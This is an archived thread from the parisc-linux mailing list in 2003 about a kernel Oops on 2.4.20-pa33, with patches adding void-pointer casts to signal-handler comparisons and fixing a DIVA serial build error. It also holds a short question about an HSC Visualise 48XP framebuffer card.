Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DAF96482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 May 2003 14:10:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h45KAgwe029628;
	Mon, 5 May 2003 16:10:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h45KAgos029626;
	Mon, 5 May 2003 16:10:42 -0400 (EDT)
In-Reply-To: <20030505200251.GS27494@lug-owl.de> from "Jan-Benedict Glaw" at May 5, 2003 10:02:51 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18382

> I've tried to compile/boot current 2.4.x CVS, but it Oopsed. I noted
> down what looked really important (this is, IAOQ, r02 and kernel
> addresses from stack). This is what I resolved out of System.map:
> 
> IAOQ:   10224658        __canonicalize_funcptr_for_compare
> r02:    101229d4        do_sigaction

The fix for this was discussed on the list previously.  There needs
to be some "void *" casts added to various function pointer comparisons.
Search on the above functions to find the thread.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Mon, 5 May 2003 13:05:37 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <20030505200537.GF29544@tausq.org>
References: <20030505200251.GS27494@lug-owl.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="TB36FDmn/VVEgNH/"
X-Trace: ger.gmane.org 1416622426 25388 80.91.229.3 (22 Nov 2014 02:13:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  5 14:10:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27470482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 May 2003 14:10:49 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 71A4ECD295; Mon,  5 May 2003 13:05:37 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030505200251.GS27494@lug-owl.de>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18383

--TB36FDmn/VVEgNH/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

> IAOQ:   10224658        __canonicalize_funcptr_for_compare
> r02:    101229d4        do_sigaction

i don't have a 32-bit machine handy, can you try this patch and let me
know if it fixes your problem? An earlier version of this was posted on
this list but didn't get commited. thx -randolph

Index: arch/parisc/kernel/signal.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux/arch/parisc/kernel/signal.c,v
retrieving revision 1.43
diff -u -p -r1.43 signal.c
--- arch/parisc/kernel/signal.c	4 Aug 2002 22:57:47 -0000	1.43
+++ arch/parisc/kernel/signal.c	5 May 2003 20:08:55 -0000
@@ -489,7 +489,7 @@ do_signal(sigset_t *oldset, struct pt_re
 		ka =3D &current->sig->action[signr-1];
 		DBG(("sa_handler is %x\n",=20
 			(unsigned int) ka->sa.sa_handler));
-		if (ka->sa.sa_handler =3D=3D SIG_IGN) {
+		if (ka->sa.sa_handler =3D=3D (void *)SIG_IGN) {
 			if (signr !=3D SIGCHLD)
 				continue;
 			while (sys_wait4(-1, NULL, WNOHANG, NULL) > 0)
@@ -497,7 +497,7 @@ do_signal(sigset_t *oldset, struct pt_re
 			continue;
 		}
=20
-		if (ka->sa.sa_handler =3D=3D SIG_DFL) {
+		if (ka->sa.sa_handler =3D=3D (void *)SIG_DFL) {
 			int exit_code =3D signr;
=20
 			/* Init gets no signals it doesn't want.  */

--TB36FDmn/VVEgNH/
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+tsQRULspdC1Zp9IRAsDrAKCv30wrB19M3YwIm7tXWk6IFq7DOACfVAYS
MvFEjrUBE3USA3K9tUhg/o8=
=F6E3
-----END PGP SIGNATURE-----

--TB36FDmn/VVEgNH/--


From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH-2.4] DIVA serial build error (was: Oops on 2.4.20-pa33)
Date: Mon, 5 May 2003 23:05:32 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <20030505210532.GU27494@lug-owl.de>
References: <20030505200251.GS27494@lug-owl.de> <20030505200537.GF29544@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="uUozbLrG2OP+gMtx"
X-Trace: ger.gmane.org 1416622426 25389 80.91.229.3 (22 Nov 2014 02:13:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May  5 15:05:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74635482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 May 2003 15:05:34 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 8CE8E4AB98; Mon,  5 May 2003 23:05:33 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030505200537.GF29544@tausq.org>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18384

--uUozbLrG2OP+gMtx
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 2003-05-05 13:05:37 -0700, Randolph Chung <randolph@tausq.org>
wrote in message <20030505200537.GF29544@tausq.org>:
> > IAOQ:   10224658        __canonicalize_funcptr_for_compare
> > r02:    101229d4        do_sigaction
>=20
> i don't have a 32-bit machine handy, can you try this patch and let me
> know if it fixes your problem? An earlier version of this was posted on
> this list but didn't get commited. thx -randolph

Oh, forgive me to be that read resistant:)

I'm currently rebuilding the kernel. While doing so, I remembered I had
to do a little compile fix. I'm not sure if it's correct, but at least,
it builds:


--- linux/drivers/char/serial.c.orig	2003-05-05 22:59:23.000000000 +0200
+++ linux/drivers/char/serial.c	2003-05-05 23:00:44.000000000 +0200
@@ -5836,10 +5836,10 @@
=20
 	/* printk("Unloading %s: version %s\n", serial_name, serial_version); */
 	del_timer_sync(&serial_timer);
-#ifdef CONFIG_SERIAL_SHARE_IRQ
+#ifdef CONFIG_HP_DIVA
 	if (hp_diva_count > 0)
 		del_timer_sync(&hp_diva_timer);
-#endif /* CONFIG_SERIAL_SHARE_IRQ */
+#endif /* CONFIG_HP_DIVA */
 	save_flags(flags); cli();
         remove_bh(SERIAL_BH);
 	if ((e1 =3D tty_unregister_driver(&serial_driver)))


MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--uUozbLrG2OP+gMtx
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+ttIcHb1edYOZ4bsRAlhpAJ9aVWdUM+QpDei7MDhBe/vkLzfKNQCfXBd7
Pbqa1joSawaCdFpPYBW197I=
=a4BF
-----END PGP SIGNATURE-----

--uUozbLrG2OP+gMtx--


From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Tue, 6 May 2003 08:04:03 +0200
Lines: 224
Approved: news@gmane.org
Message-ID: <3EB6425400000488@ocpmta7.freegates.net>
References: <20030505200537.GF29544@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622426 25393 80.91.229.3 (22 Nov 2014 02:13:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>,
	"Jan-Benedict Glaw" <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 00:44:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98958482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 00:44:24 -0600 (MDT)
Original-Received: from mail by smtp-out.tiscali.be with dcc (Tiscali) 
	id 19CwBX-0007n0-00; Tue, 06 May 2003 08:44:20 +0200
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19CwBX-0007mk-00; Tue, 06 May 2003 08:44:19 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 6 May 2003 08:04:03 +0200
In-Reply-To: <20030505200537.GF29544@tausq.org>
X-DCC-MessageCare-Metrics: spm2 1108; Body=3 Fuz1=3 Fuz2=3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18385

Hi all,

>
>> IAOQ:   10224658        __canonicalize_funcptr_for_compare
>> r02:    101229d4        do_sigaction
>
>i don't have a 32-bit machine handy, can you try this patch and let me
>know if it fixes your problem? An earlier version of this was posted on
>this list but didn't get commited. thx -randolph
>
>Index: arch/parisc/kernel/signal.c
>===================================================================
>RCS file: /var/cvs/linux/arch/parisc/kernel/signal.c,v
>retrieving revision 1.43
>diff -u -p -r1.43 signal.c
>--- arch/parisc/kernel/signal.c	4 Aug 2002 22:57:47 -0000	1.43
>+++ arch/parisc/kernel/signal.c	5 May 2003 20:08:55 -0000

AFAIK here is the full patch I suggested after some mail exchanges with Dave:

diff -Naur linux-2.4.20-pa32/arch/parisc/kernel/signal.c linux-2.4.20-pa32-gcc33/arch/parisc/kernel/signal.c
--- linux-2.4.20-pa32/arch/parisc/kernel/signal.c	2003-03-21 10:54:23.000000000
+0100
+++ linux-2.4.20-pa32-gcc33/arch/parisc/kernel/signal.c	2003-03-21 12:39:20.000000000
+0100
@@ -489,7 +489,11 @@
 		ka = &current->sig->action[signr-1];
 		DBG(("sa_handler is %x\n", 
 			(unsigned int) ka->sa.sa_handler));
+#if !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__
>= 1))
+		if (ka->sa.sa_handler == (void *)SIG_IGN) {
+#else
 		if (ka->sa.sa_handler == SIG_IGN) {
+#endif
 			if (signr != SIGCHLD)
 				continue;
 			while (sys_wait4(-1, NULL, WNOHANG, NULL) > 0)
@@ -497,7 +501,11 @@
 			continue;
 		}
 
+#if !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__
>= 1))
+		if (ka->sa.sa_handler == (void *)SIG_DFL) {
+#else
 		if (ka->sa.sa_handler == SIG_DFL) {
+#endif
 			int exit_code = signr;
 
 			/* Init gets no signals it doesn't want.  */
diff -Naur linux-2.4.20-pa32/drivers/char/n_tty.c linux-2.4.20-pa32-gcc33/drivers/char/n_tty.c
--- linux-2.4.20-pa32/drivers/char/n_tty.c	2003-03-21 10:51:30.000000000
+0100
+++ linux-2.4.20-pa32-gcc33/drivers/char/n_tty.c	2003-03-21 12:34:35.000000000
+0100
@@ -810,7 +810,11 @@
 int is_ignored(int sig)
 {
 	return (sigismember(&current->blocked, sig) ||
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+	        current->sig->action[sig-1].sa.sa_handler == (void *)SIG_IGN);
+#else
 	        current->sig->action[sig-1].sa.sa_handler == SIG_IGN);
+#endif
 }
 
 static void n_tty_set_termios(struct tty_struct *tty, struct termios * old)
diff -Naur linux-2.4.20-pa32/fs/ncpfs/sock.c linux-2.4.20-pa32-gcc33/fs/ncpfs/sock.c
--- linux-2.4.20-pa32/fs/ncpfs/sock.c	2003-03-21 10:36:05.000000000 +0100
+++ linux-2.4.20-pa32-gcc33/fs/ncpfs/sock.c	2003-03-21 12:35:37.000000000
+0100
@@ -466,9 +466,17 @@
 			   What if we've blocked it ourselves?  What about
 			   alarms?  Why, in fact, are we mucking with the
 			   sigmask at all? -- r~ */
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+			if (current->sig->action[SIGINT - 1].sa.sa_handler == (void *)SIG_DFL)
+#else
 			if (current->sig->action[SIGINT - 1].sa.sa_handler == SIG_DFL)
+#endif
 				mask |= sigmask(SIGINT);
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+			if (current->sig->action[SIGQUIT - 1].sa.sa_handler == (void *)SIG_DFL)
+#else
 			if (current->sig->action[SIGQUIT - 1].sa.sa_handler == SIG_DFL)
+#endif
 				mask |= sigmask(SIGQUIT);
 		}
 		siginitsetinv(&current->blocked, mask);
diff -Naur linux-2.4.20-pa32/fs/proc/array.c linux-2.4.20-pa32-gcc33/fs/proc/array.c
--- linux-2.4.20-pa32/fs/proc/array.c	2003-03-21 10:01:18.000000000 +0100
+++ linux-2.4.20-pa32-gcc33/fs/proc/array.c	2003-03-21 12:36:44.000000000
+0100
@@ -231,9 +231,17 @@
 	if (p->sig) {
 		k = p->sig->action;
 		for (i = 1; i <= _NSIG; ++i, ++k) {
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+			if (k->sa.sa_handler == (void *)SIG_IGN)
+#else
 			if (k->sa.sa_handler == SIG_IGN)
+#endif
 				sigaddset(ign, i);
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+			else if (k->sa.sa_handler != (void *)SIG_DFL)
+#else
 			else if (k->sa.sa_handler != SIG_DFL)
+#endif
 				sigaddset(catch, i);
 		}
 	}
diff -Naur linux-2.4.20-pa32/include/linux/compiler.h linux-2.4.20-pa32-gcc33/include/linux/compiler.h
--- linux-2.4.20-pa32/include/linux/compiler.h	2003-03-21 12:31:39.000000000
+0100
+++ linux-2.4.20-pa32-gcc33/include/linux/compiler.h	2003-03-21 12:32:07.000000000
+0100
@@ -1,6 +1,12 @@
 #ifndef __LINUX_COMPILER_H
 #define __LINUX_COMPILER_H
 
+#if (__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1)
+#define inline		__inline__ __attribute__((always_inline))
+#define __inline__	__inline__ __attribute__((always_inline))
+#define __inline	__inline__ __attribute__((always_inline))
+#endif
+
 /* Somewhere in the middle of the GCC 2.96 development cycle, we implemented
    a mechanism by which the user can annotate likely branch directions and
    expect the blocks to be reordered appropriately.  Define __builtin_expect
diff -Naur linux-2.4.20-pa32/kernel/signal.c linux-2.4.20-pa32-gcc33/kernel/signal.c
--- linux-2.4.20-pa32/kernel/signal.c	2003-03-21 10:39:32.000000000 +0100
+++ linux-2.4.20-pa32-gcc33/kernel/signal.c	2003-03-21 12:37:40.000000000
+0100
@@ -126,7 +126,11 @@
 	int i;
 	struct k_sigaction *ka = &t->sig->action[0];
 	for (i = _NSIG ; i != 0 ; i--) {
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+		if (ka->sa.sa_handler != (void *)SIG_IGN)
+#else
 		if (ka->sa.sa_handler != SIG_IGN)
+#endif
 			ka->sa.sa_handler = SIG_DFL;
 		ka->sa.sa_flags = 0;
 		sigemptyset(&ka->sa.sa_mask);
@@ -572,7 +576,11 @@
 		return -ESRCH;
 	}
 
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+	if (t->sig->action[sig-1].sa.sa_handler == (void *)SIG_IGN)
+#else
 	if (t->sig->action[sig-1].sa.sa_handler == SIG_IGN)
+#endif
 		t->sig->action[sig-1].sa.sa_handler = SIG_DFL;
 	sigdelset(&t->blocked, sig);
 	recalc_sigpending(t);
@@ -1094,8 +1102,13 @@
 		 * the signal to be ignored.
 		 */
 
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+		if (k->sa.sa_handler == (void *)SIG_IGN
+		    || (k->sa.sa_handler == (void *)SIG_DFL
+#else
 		if (k->sa.sa_handler == SIG_IGN
 		    || (k->sa.sa_handler == SIG_DFL
+#endif
 			&& (sig == SIGCONT ||
 			    sig == SIGCHLD ||
 			    sig == SIGURG ||
diff -Naur linux-2.4.20-pa32/net/sunrpc/clnt.c linux-2.4.20-pa32-gcc33/net/sunrpc/clnt.c
--- linux-2.4.20-pa32/net/sunrpc/clnt.c	2003-03-21 10:46:28.000000000 +0100
+++ linux-2.4.20-pa32-gcc33/net/sunrpc/clnt.c	2003-03-21 12:38:07.000000000
+0100
@@ -209,9 +209,17 @@
 	/* Turn off various signals */
 	if (clnt->cl_intr) {
 		struct k_sigaction *action = current->sig->action;
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+		if (action[SIGINT-1].sa.sa_handler == (void *)SIG_DFL)
+#else
 		if (action[SIGINT-1].sa.sa_handler == SIG_DFL)
+#endif
 			sigallow |= sigmask(SIGINT);
+#if defined (__hppa__) && !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__
== 3 && __GNUC_MINOR__ >= 1))
+		if (action[SIGQUIT-1].sa.sa_handler == (void *)SIG_DFL)
+#else
 		if (action[SIGQUIT-1].sa.sa_handler == SIG_DFL)
+#endif
 			sigallow |= sigmask(SIGQUIT);
 	}
 	spin_lock_irqsave(&current->sigmask_lock, irqflags);

hth,
    Joel

PS: It was writen for gcc > 3.1 and I was just working on a simplification
(remove _GNUC_ [sub]version test as suggested by Willy) but during test with
so gcc-3.0 I encounter HW pb with my b2k of test. I finaly compile but runs
seems to present pb (but I quiet convience it is the HW pb). Can somebody
else would test more?


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be





From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gavin Hubbard <ghub005@xtra.co.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HSC Visualise 48XP framebuffer question
Date: Wed, 07 May 2003 00:42:01 +1200
Lines: 16
Approved: news@gmane.org
Message-ID: <3.0.2.32.20030507004201.00a1ce60@pop3.xtra.co.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622427 25395 80.91.229.3 (22 Nov 2014 02:13:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 06:42:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta202-rme.xtra.co.nz (mta202-rme.xtra.co.nz [210.86.15.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id C07BE4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 06:42:12 -0600 (MDT)
Original-Received: from mta2-rme.xtra.co.nz ([210.86.15.141])
          by mta202-rme.xtra.co.nz with ESMTP
          id <20030506124210.FOZT1184.mta202-rme.xtra.co.nz@mta2-rme.xtra.co.nz>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 7 May 2003 00:42:10 +1200
Original-Received: from peanut ([210.54.71.13]) by mta2-rme.xtra.co.nz with SMTP
          id <20030506124209.CDTJ25102.mta2-rme.xtra.co.nz@peanut>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 7 May 2003 00:42:09 +1200
X-Sender: ghub005@pop3.xtra.co.nz
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18386

Hello list

I decomissioned an old K-class system for a client today and I was
surprised to find a full-size HSC Visualise 48XP framebuffer card. Quite an
imposing card - it has genlock in, s-video out, composite video out, and an
EVC video to monitor socket.

I got permission to keep the card. Unfortunately I'm having trouble finding
any info about it. Is this card functionally identical to the more
conventional 48XP found in older C & J class workstations?

Regards,

Gavin



From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Tue, 6 May 2003 07:04:25 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20030506140425.GF18309@tausq.org>
References: <20030505200537.GF29544@tausq.org> <3EB6425400000488@ocpmta7.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622427 25399 80.91.229.3 (22 Nov 2014 02:13:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:47 +0000 (UTC)
Cc: Jan-Benedict Glaw <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 08:06:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id E32144829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 08:06:53 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E6137CD295; Tue,  6 May 2003 07:04:25 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3EB6425400000488@ocpmta7.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
